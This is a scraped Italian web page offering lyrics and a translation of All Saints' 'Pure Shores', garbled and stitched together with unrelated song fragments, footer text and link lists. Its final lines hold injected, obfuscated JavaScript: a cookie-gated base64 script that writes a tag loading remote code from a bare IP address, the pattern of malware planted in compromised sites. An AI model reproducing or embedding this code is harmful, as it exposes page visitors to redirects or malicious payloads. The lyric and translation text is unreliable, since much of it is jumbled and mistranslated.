Home > P > Pure Shores > Altre Canzoni > All Saints; Traduzione di All Saints Testo All Saints. Condividerò questo momento con te e lo farò parlandoti di Pure Shores, la famosa canzone della band britannica All Saints scritta nel 2000 proprio come colonna sonora del film del grande Danny Boyle. E ve ne parliamo oggi. Clicca sul pulsante qui sotto e inviaci la tua versione o le correzioni che ritieni necessarie. Coming closer to you, Went along many moors Many places I have been (Hear it out of reach)(Hear fuori mano)I hear it calling youHo sentito che ti chiamaSwimming closer to youNuoto più vicino a teMany faces I have seenMolti volti che ho vistoMany places I have beenMolti posti sono statoWalked the deserts, swam the shoresSiamo andati a piedi i deserti, nuotato sponde(Coming closer to you)(Venendo più vicino a te)Many faces I have knowMolti volti Ho sapereMany way in which I've grownMolti modo in cui sono cresciutoMoving closer on my ownAvvicinandosi da solo(Coming closer to you)(Venendo più vicino a te)I move itMi muovoI feel itLo sentoI'm comingSto arrivandoNot drowningNon annegamentoI move itMi muovoI feel itLo sentoI'm comingSto arrivandoNot drowningNon annegamentoI'm movingMi sto muovendoI'm comingSto arrivandoCan you hear, what I hearRiesci a sentire, ciò che sentoIt's calling you my dearE 'il mio caro chiamandoOut of reachOut of Reach(Take me to my beach)(Portami alla mia spiaggia)I can hear it, calling youLo sento, che ti chiamaI'm coming not drowningSto arrivando Non affogandoSwimming closer to youNuoto più vicino si(Take me to my beach)(Portami alla mia spiaggia). Let me take you down – Lascia che ti accompagni ‘Cause I’m going to Strawberry Fields – Perché sto andando ai Campi di Fragole Nothing is real – Niente è reale And nothing to get hungabout – E niente per cui stare in attesa Strawberry Fields forever – Campi di fragole all’infinito. Out of reach (Take me to my beach) Moors= lande desolate, brughiere; Searching places to find I've crossed the deserts for milesHo attraversato il deserto per chilometriSwam water for timeNuotato acqua per voltaSearching places to findLuoghi di ricerca per trovareA piece of something to call mineUn pezzo di qualcosa da chiamare mio(I'm coming)(Sto arrivando)A piece of something to call mineUn pezzo di qualcosa da chiamare mio(I'm coming)(Sto arrivando)(I'm coming)(Sto arrivando)Coming closer to youVenendo più vicino a teWent along many moorsSiamo andati insieme molte landeWalked through many doorsCamminato attraverso molte porteThe place where I wanna beIl posto dove voglio essereIs the place I can call mineÈ il posto che posso chiamare mia(I'm coming)(Sto arrivando)Is the place I can call mineÈ il posto che posso chiamare mia(I'm coming)(Sto arrivando)(I'm coming)(Sto arrivando)Coming closer to youVenendo più vicino a teI'm movingMi sto muovendoI'm comingSto arrivandoCan you hear, what I hearRiesci a sentire, ciò che sentoIt's calling you my dearE 'il mio caro chiamandoOut of reachOut of Reach(Take me to my beach)(Portami alla mia spiaggia)I can hear it, calling youLo sento, che ti chiamaI'm coming not drowningSto arrivando Non affogandoSwimming closer to youNuoto più vicino a teNever been here beforeMai stato qui primaI'm intrigued, I'm unsureSono incuriosito, io sono sicuroI'm searching for moreSto cercando di piùI've got something thats all mineHo qualcosa questo è tutto mioI've got something thats all mineHo qualcosa questo è tutto mioTake me somewhere I can breathePortami da qualche parte posso respirareI've got so much to seeHo così tanto da vedereThis is where I want to beQuesto è dove voglio essereIn a place I can call mineIn un posto che posso chiamare miaIn a place I can call mineIn un posto che posso chiamare miaI'm movingMi sto muovendoI'm comingSto arrivandoCan you hear, what I hearRiesci a sentire, ciò che sentoIt's calling you my dearE 'il mio caro chiamandoOut of reachOut of Reach(Take me to my beach)(Portami alla mia spiaggia)I can hear it, calling youLo sento, che ti chiamaI'm coming not drowningSto arrivando Non affogandoSwimming closer to youNuoto più vicino a teMoving, comingSpostare, venendoCan you hear what I hear?Riesci a sentire ciò che sento? Is the place I can call mine (I’m coming) It’s calling you my dear Non hai capito le parole? Liquido, Narcotic: testo, traduzione e video. Testo, video e traduzione in italiano di Pure Shores - All Saints traduzioni, testi canzoni tradotti in italiano, inglese. Out of reach= fuori portata, irraggiungibile; © 2011-2021 my english school | myes italia srl | sede legale: Via F. Baracca, 2 - 50127 Firenze, Articoli dedicati alla grammatica inglese, Articoli dedicati a inglese nel mondo del lavoro, Articoli con tips e new sulla lingua inglese. y acepto la información sobre protección de datos. Di seguito troverete testo, video musicale e traduzione di Glorious - All Saints in varie lingue. Traduzione di Pure Shores Testo Pure Shores. Inutile dire che il brano è stato (anche per questo) un successo planetario! This helped propel Saints and Sinners to 3 … E la memoria è una delle questioni sollevate nella Mostra "Le rive dei mari", al SESC Pinheiros, nella città di São Paulo. Nicki Minaj - Rake It Up, Loudness - The Law Of Devil's Land [Live Tokyo 2018], Paula Abdul - The Promise Of A New Day [Extended Club Mix], Paula Abdul - Vibeology [Keith Cohen's House Mix], Steam Powered Giraffe - Bad Days on the Horizon, Steam Powered Giraffe - Olly and the Equinox Band, Steam Powered Giraffe - Latum Alterum (Ya Ya Ya). Testo, traduzione, significato (e un po’ di storia) del focoso brano della musa ispiratrice che diventò anche icona e immagine integrante della band The Knack. All Saints – Pure Shores Lyrics. Toggle navigation. Entra e non perderti neanche una parola! All Saints Testo. I’m searching for more I’ve got something that’s all mine I've crossed the deserts for miles Swam water for time Searching places to find A piece of something to call mine (I'm coming) A piece of something to call mine (I'm coming) In cerca di luoghi per trovare . Can you hear, what I hear I’ve got something that’s all mine, Take me somewhere I can breathe Titolo Originale: Pure Shores. Silvia e Laura Squizzato: gemelle, blogger, attrici ed English speakers, I lavori più strani e (ben) pagati in Australia, Esercizi sui verbi in inglese sulla differenza tra ride e drive. Swimming closer to you, Many faces I have seen Nuotato nelle acque a lungo . Leggi la privacy policy per maggiori informazioni. E tutto quello che voglio sentire è il beep del messaggio News ... Traduzione Pure Shores. Sono passati sedici anni dal grande successo dei Liquido, Narcotic. Articoli divertenti su film e musica. Moving closer on my own (Coming closer to you), I move it I feel it Many faces I have know *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('